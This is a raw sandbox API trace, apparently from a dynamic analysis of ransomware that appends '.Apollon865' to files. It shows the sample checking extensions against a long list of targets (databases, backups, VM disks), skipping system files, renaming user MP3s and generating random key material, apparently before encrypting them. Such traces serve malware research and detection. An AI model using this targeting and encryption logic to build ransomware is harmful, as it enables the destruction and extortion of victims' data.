	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0087.894] lstrlenW (lpString="flexolibrary") returned 12
	[0087.894] lstrcmpiW (lpString1="rcwiX7Ys.mp3", lpString2="flexolibrary") returned 1
	[0087.894] lstrlenW (lpString="fm5") returned 3
	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0087.894] lstrlenW (lpString="fmp") returned 3
	[0087.894] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0087.894] lstrlenW (lpString="fmp12") returned 5
	[0087.894] lstrcmpiW (lpString1="s.mp3", lpString2="fmp12") returned 1
	[0087.894] lstrlenW (lpString="fmpsl") returned 5
	[0087.894] lstrcmpiW (lpString1="s.mp3", lpString2="fmpsl") returned 1
	[0087.894] lstrlenW (lpString="fol") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0087.895] lstrlenW (lpString="fp3") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0087.895] lstrlenW (lpString="fp4") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0087.895] lstrlenW (lpString="fp5") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0087.895] lstrlenW (lpString="fp7") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0087.895] lstrlenW (lpString="fpt") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0087.895] lstrlenW (lpString="frm") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0087.895] lstrlenW (lpString="gdb") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.895] lstrlenW (lpString="gdb") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0087.895] lstrlenW (lpString="grdb") returned 4
	[0087.895] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0087.895] lstrlenW (lpString="gwi") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0087.895] lstrlenW (lpString="hdb") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0087.895] lstrlenW (lpString="his") returned 3
	[0087.895] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0087.895] lstrlenW (lpString="ib") returned 2
	[0087.895] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0087.896] lstrlenW (lpString="idb") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0087.896] lstrlenW (lpString="ihx") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0087.896] lstrlenW (lpString="itdb") returned 4
	[0087.896] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0087.896] lstrlenW (lpString="itw") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0087.896] lstrlenW (lpString="jet") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0087.896] lstrlenW (lpString="jtx") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0087.896] lstrlenW (lpString="kdb") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0087.896] lstrlenW (lpString="kexi") returned 4
	[0087.896] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0087.896] lstrlenW (lpString="kexic") returned 5
	[0087.896] lstrcmpiW (lpString1="s.mp3", lpString2="kexic") returned 1
	[0087.896] lstrlenW (lpString="kexis") returned 5
	[0087.896] lstrcmpiW (lpString1="s.mp3", lpString2="kexis") returned 1
	[0087.896] lstrlenW (lpString="lgc") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0087.896] lstrlenW (lpString="lwx") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0087.896] lstrlenW (lpString="maf") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0087.896] lstrlenW (lpString="maq") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0087.896] lstrlenW (lpString="mar") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0087.896] lstrlenW (lpString="marshal") returned 7
	[0087.896] lstrcmpiW (lpString1="7Ys.mp3", lpString2="marshal") returned -1
	[0087.896] lstrlenW (lpString="mas") returned 3
	[0087.896] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0087.897] lstrlenW (lpString="mav") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0087.897] lstrlenW (lpString="maw") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0087.897] lstrlenW (lpString="mdbhtml") returned 7
	[0087.897] lstrcmpiW (lpString1="7Ys.mp3", lpString2="mdbhtml") returned -1
	[0087.897] lstrlenW (lpString="mdn") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0087.897] lstrlenW (lpString="mdt") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0087.897] lstrlenW (lpString="mfd") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0087.897] lstrlenW (lpString="mpd") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0087.897] lstrlenW (lpString="mrg") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0087.897] lstrlenW (lpString="mud") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0087.897] lstrlenW (lpString="mwb") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0087.897] lstrlenW (lpString="myd") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0087.897] lstrlenW (lpString="ndf") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0087.897] lstrlenW (lpString="nnt") returned 3
	[0087.897] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0087.897] lstrlenW (lpString="nrmlib") returned 6
	[0087.897] lstrcmpiW (lpString1="Ys.mp3", lpString2="nrmlib") returned 1
	[0087.897] lstrlenW (lpString="ns2") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0087.898] lstrlenW (lpString="ns3") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0087.898] lstrlenW (lpString="ns4") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0087.898] lstrlenW (lpString="nsf") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0087.898] lstrlenW (lpString="nv") returned 2
	[0087.898] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0087.898] lstrlenW (lpString="nv2") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0087.898] lstrlenW (lpString="nwdb") returned 4
	[0087.898] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0087.898] lstrlenW (lpString="nyf") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0087.898] lstrlenW (lpString="odb") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.898] lstrlenW (lpString="odb") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0087.898] lstrlenW (lpString="oqy") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0087.898] lstrlenW (lpString="ora") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0087.898] lstrlenW (lpString="orx") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0087.898] lstrlenW (lpString="owc") returned 3
	[0087.898] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0087.899] lstrlenW (lpString="p96") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0087.899] lstrlenW (lpString="p97") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0087.899] lstrlenW (lpString="pan") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0087.899] lstrlenW (lpString="pdb") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0087.899] lstrlenW (lpString="pdm") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0087.899] lstrlenW (lpString="pnz") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0087.899] lstrlenW (lpString="qry") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0087.899] lstrlenW (lpString="qvd") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0087.899] lstrlenW (lpString="rbf") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0087.899] lstrlenW (lpString="rctd") returned 4
	[0087.899] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0087.899] lstrlenW (lpString="rod") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0087.899] lstrlenW (lpString="rodx") returned 4
	[0087.899] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0087.899] lstrlenW (lpString="rpd") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0087.899] lstrlenW (lpString="rsd") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0087.899] lstrlenW (lpString="sas7bdat") returned 8
	[0087.899] lstrcmpiW (lpString1="X7Ys.mp3", lpString2="sas7bdat") returned 1
	[0087.899] lstrlenW (lpString="sbf") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0087.899] lstrlenW (lpString="scx") returned 3
	[0087.899] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0087.899] lstrlenW (lpString="sdb") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0087.900] lstrlenW (lpString="sdc") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0087.900] lstrlenW (lpString="sdf") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0087.900] lstrlenW (lpString="sis") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0087.900] lstrlenW (lpString="spq") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0087.900] lstrlenW (lpString="te") returned 2
	[0087.900] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0087.900] lstrlenW (lpString="teacher") returned 7
	[0087.900] lstrcmpiW (lpString1="7Ys.mp3", lpString2="teacher") returned -1
	[0087.900] lstrlenW (lpString="tmd") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0087.900] lstrlenW (lpString="tps") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0087.900] lstrlenW (lpString="trc") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.900] lstrlenW (lpString="trc") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0087.900] lstrlenW (lpString="trm") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0087.900] lstrlenW (lpString="udb") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0087.900] lstrlenW (lpString="udl") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0087.900] lstrlenW (lpString="usr") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0087.900] lstrlenW (lpString="v12") returned 3
	[0087.900] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0087.901] lstrlenW (lpString="vis") returned 3
	[0087.901] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0087.901] lstrlenW (lpString="vpd") returned 3
	[0087.901] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0087.901] lstrlenW (lpString="vvv") returned 3
	[0087.901] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0087.901] lstrlenW (lpString="wdb") returned 3
	[0087.901] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0087.901] lstrlenW (lpString="wmdb") returned 4
	[0087.901] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0087.901] lstrlenW (lpString="wrk") returned 3
	[0087.901] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0087.901] lstrlenW (lpString="xdb") returned 3
	[0087.901] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0087.901] lstrlenW (lpString="xld") returned 3
	[0087.901] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0087.901] lstrlenW (lpString="xmlff") returned 5
	[0087.901] lstrcmpiW (lpString1="s.mp3", lpString2="xmlff") returned -1
	[0087.901] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\TxrcwiX7Ys.mp3.Apollon865") returned 78
	[0087.901] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\TxrcwiX7Ys.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\txrcwix7ys.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\TxrcwiX7Ys.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\txrcwix7ys.mp3.apollon865"), dwFlags=0x1) returned 1
	[0087.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\TxrcwiX7Ys.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\txrcwix7ys.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.903] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=11488) returned 1
	[0087.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0087.903] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf5f0) returned 1
	[0087.904] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.904] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0087.905] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fe0, lpName=0x0) returned 0x15c
	[0087.905] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2fe0) returned 0x100000
	[0087.905] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf5f0) returned 1
	[0087.906] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.906] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0087.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0087.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0087.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.906] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.906] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.907] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.907] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0087.907] CloseHandle (hObject=0x15c) returned 1
	[0087.907] CloseHandle (hObject=0x9c) returned 1
	[0087.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0087.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.909] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a81e0, ftCreationTime.dwHighDateTime=0x1d4cc39, ftLastAccessTime.dwLowDateTime=0xef66a5f0, ftLastAccessTime.dwHighDateTime=0x1d4c7ca, ftLastWriteTime.dwLowDateTime=0xef66a5f0, ftLastWriteTime.dwHighDateTime=0x1d4c7ca, nFileSizeHigh=0x0, nFileSizeLow=0x11e0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U xszFH BX-zs3H.mp3", cAlternateFileName="UXSZFH~1.MP3")) returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2=".") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="..") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="windows") returned -1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="bootmgr") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="temp") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="pagefile.sys") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="boot") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="ids.txt") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="ntuser.dat") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="perflogs") returned 1
	[0087.909] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2="MSBuild") returned 1
	[0087.909] lstrlenW (lpString="U xszFH BX-zs3H.mp3") returned 19
	[0087.909] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\TxrcwiX7Ys.mp3") returned 67
	[0087.909] lstrcpyW (in: lpString1=0x119e672, lpString2="U xszFH BX-zs3H.mp3" | out: lpString1="U xszFH BX-zs3H.mp3") returned="U xszFH BX-zs3H.mp3"
	[0087.909] lstrlenW (lpString="U xszFH BX-zs3H.mp3") returned 19
	[0087.909] lstrlenW (lpString="Apollon865") returned 10
	[0087.910] lstrcmpiW (lpString1="X-zs3H.mp3", lpString2="Apollon865") returned 1
	[0087.910] lstrlenW (lpString=".dll") returned 4
	[0087.910] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2=".dll") returned 1
	[0087.910] lstrlenW (lpString=".lnk") returned 4
	[0087.910] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2=".lnk") returned 1
	[0087.910] lstrlenW (lpString=".ini") returned 4
	[0087.910] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2=".ini") returned 1
	[0087.910] lstrlenW (lpString=".sys") returned 4
	[0087.910] lstrcmpiW (lpString1="U xszFH BX-zs3H.mp3", lpString2=".sys") returned 1
	[0087.910] lstrlenW (lpString="U xszFH BX-zs3H.mp3") returned 19
	[0087.910] lstrlenW (lpString="bak") returned 3
	[0087.910] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0087.910] lstrlenW (lpString="ba_") returned 3
	[0087.910] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0087.910] lstrlenW (lpString="dbb") returned 3
	[0087.910] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0087.910] lstrlenW (lpString="vmdk") returned 4
	[0087.910] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0087.910] lstrlenW (lpString="rar") returned 3
	[0087.910] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0087.910] lstrlenW (lpString="zip") returned 3
	[0087.910] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0087.910] lstrlenW (lpString="tgz") returned 3
	[0087.910] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0087.910] lstrlenW (lpString="vbox") returned 4
	[0087.910] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0087.910] lstrlenW (lpString="vdi") returned 3
	[0087.910] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0087.910] lstrlenW (lpString="vhd") returned 3
	[0087.910] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0087.910] lstrlenW (lpString="vhdx") returned 4
	[0087.910] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0087.910] lstrlenW (lpString="avhd") returned 4
	[0087.910] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0087.910] lstrlenW (lpString="db") returned 2
	[0087.911] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0087.911] lstrlenW (lpString="db2") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0087.911] lstrlenW (lpString="db3") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0087.911] lstrlenW (lpString="dbf") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0087.911] lstrlenW (lpString="mdf") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0087.911] lstrlenW (lpString="mdb") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0087.911] lstrlenW (lpString="sql") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0087.911] lstrlenW (lpString="sqlite") returned 6
	[0087.911] lstrcmpiW (lpString1="3H.mp3", lpString2="sqlite") returned -1
	[0087.911] lstrlenW (lpString="sqlite3") returned 7
	[0087.911] lstrcmpiW (lpString1="s3H.mp3", lpString2="sqlite3") returned -1
	[0087.911] lstrlenW (lpString="sqlitedb") returned 8
	[0087.911] lstrcmpiW (lpString1="zs3H.mp3", lpString2="sqlitedb") returned 1
	[0087.911] lstrlenW (lpString="xml") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0087.911] lstrlenW (lpString="$er") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0087.911] lstrlenW (lpString="4dd") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0087.911] lstrlenW (lpString="4dl") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0087.911] lstrlenW (lpString="^^^") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0087.911] lstrlenW (lpString="abs") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0087.911] lstrlenW (lpString="abx") returned 3
	[0087.911] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0087.911] lstrlenW (lpString="accdb") returned 5
	[0087.911] lstrcmpiW (lpString1="H.mp3", lpString2="accdb") returned 1
	[0087.912] lstrlenW (lpString="accdc") returned 5
	[0087.912] lstrcmpiW (lpString1="H.mp3", lpString2="accdc") returned 1
	[0087.912] lstrlenW (lpString="accde") returned 5
	[0087.912] lstrcmpiW (lpString1="H.mp3", lpString2="accde") returned 1
	[0087.912] lstrlenW (lpString="accdr") returned 5
	[0087.912] lstrcmpiW (lpString1="H.mp3", lpString2="accdr") returned 1
	[0087.912] lstrlenW (lpString="accdt") returned 5
	[0087.912] lstrcmpiW (lpString1="H.mp3", lpString2="accdt") returned 1
	[0087.912] lstrlenW (lpString="accdw") returned 5
	[0087.912] lstrcmpiW (lpString1="H.mp3", lpString2="accdw") returned 1
	[0087.912] lstrlenW (lpString="accft") returned 5
	[0087.912] lstrcmpiW (lpString1="H.mp3", lpString2="accft") returned 1
	[0087.912] lstrlenW (lpString="adb") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.912] lstrlenW (lpString="adb") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1
	[0087.912] lstrlenW (lpString="ade") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1
	[0087.912] lstrlenW (lpString="adf") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1
	[0087.912] lstrlenW (lpString="adn") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1
	[0087.912] lstrlenW (lpString="adp") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1
	[0087.912] lstrlenW (lpString="alf") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1
	[0087.912] lstrlenW (lpString="ask") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1
	[0087.912] lstrlenW (lpString="btr") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1
	[0087.912] lstrlenW (lpString="cat") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1
	[0087.912] lstrlenW (lpString="cdb") returned 3
	[0087.912] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0087.912] lstrlenW (lpString="ckp") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0087.913] lstrlenW (lpString="cma") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0087.913] lstrlenW (lpString="cpd") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0087.913] lstrlenW (lpString="dacpac") returned 6
	[0087.913] lstrcmpiW (lpString1="3H.mp3", lpString2="dacpac") returned -1
	[0087.913] lstrlenW (lpString="dad") returned 3
	[0087.913] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0087.913] lstrlenW (lpString="dadiagrams") returned 10
	[0087.913] lstrcmpiW (lpString1="X-zs3H.mp3", lpString2="dadiagrams") returned 1
	[0087.913] lstrlenW (lpString="daschema") returned 8
	[0087.913] lstrcmpiW (lpString1="zs3H.mp3", lpString2="daschema") returned 1
	[0087.913] lstrlenW (lpString="db-journal") returned 10
	[0087.913] lstrcmpiW (lpString1="X-zs3H.mp3", lpString2="db-journal") returned 1
	[0087.913] lstrlenW (lpString="db-shm") returned 6
	[0087.913] lstrcmpiW (lpString1="3H.mp3", lpString2="db-shm") returned -1
